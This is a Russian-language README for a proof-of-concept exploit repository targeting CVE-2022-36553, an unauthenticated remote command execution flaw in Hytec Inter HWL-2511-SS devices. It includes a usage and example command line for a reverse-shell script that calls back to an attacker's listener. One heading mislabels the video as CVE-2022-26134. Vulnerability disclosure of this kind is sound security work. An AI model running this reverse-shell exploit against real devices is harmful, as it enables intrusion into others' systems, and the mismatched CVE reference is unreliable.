CVE-2022-36553 - Hytec Inter HWL-2511-SS Неаутентифицированное удаленное выполнение команд.

Обзор

Этот репозиторий содержит PoC (Proof of Concept) скрипт обратной оболочки для эксплуатации CVE-2022-36553, критической уязвимости в устройствах Hytec Inter HWL-2511-SS. Скрипт является практической демонстрацией, дополняющей углубленный анализ, представленный в моей статье "Hytec Inter HWL-2511-SS - Отчет об уязвимости."

Затронутые версии

Все устройства Hytec Inter HWL-2511-SS версии 1.05 и ниже.

Использование PoC скрипта

# Usage: python HWL-2511-SS.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python HWL-2511-SS.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

Видео доказательство концепции

PoC скрипт CVE-2022-26134

Примечание

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ.

CVE-2022-36553-PoC

Популярное